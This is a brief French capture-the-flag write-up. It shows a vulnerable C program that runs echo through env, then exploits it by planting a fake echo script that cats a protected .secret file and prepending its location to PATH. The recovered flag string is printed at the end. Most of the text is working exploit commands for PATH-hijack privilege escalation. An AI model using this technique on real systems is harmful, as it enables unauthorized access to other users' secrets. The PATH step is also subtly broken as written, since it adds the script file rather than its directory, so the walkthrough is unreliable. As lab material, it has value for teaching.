Source :

#define _GNU_SOURCE
#include <stdlib.h>
#include <unistd.h>
int main(){
	gid_t gid = getegid();
	uid_t uid = geteuid();
	setresgid(gid, gid, gid);
	setresuid(uid, uid, uid);
	system("/usr/bin/env echo Find the flaw!");
	return EXIT_SUCCESS;
}

la commande system() appelle echo sans son path absolu, mais en se basant sur la variable d'environnement PATH. Il faut donc redéfinir la commande (ex : /tmp/echo)

#! /bin/bash
cat /home/exploit-1/.secret

Puis, on ajoute son chemin dans le PATH de l'environnement :

$ export PATH=/tmp/echo:$PATH
./vulnerable
eg3fa3Eing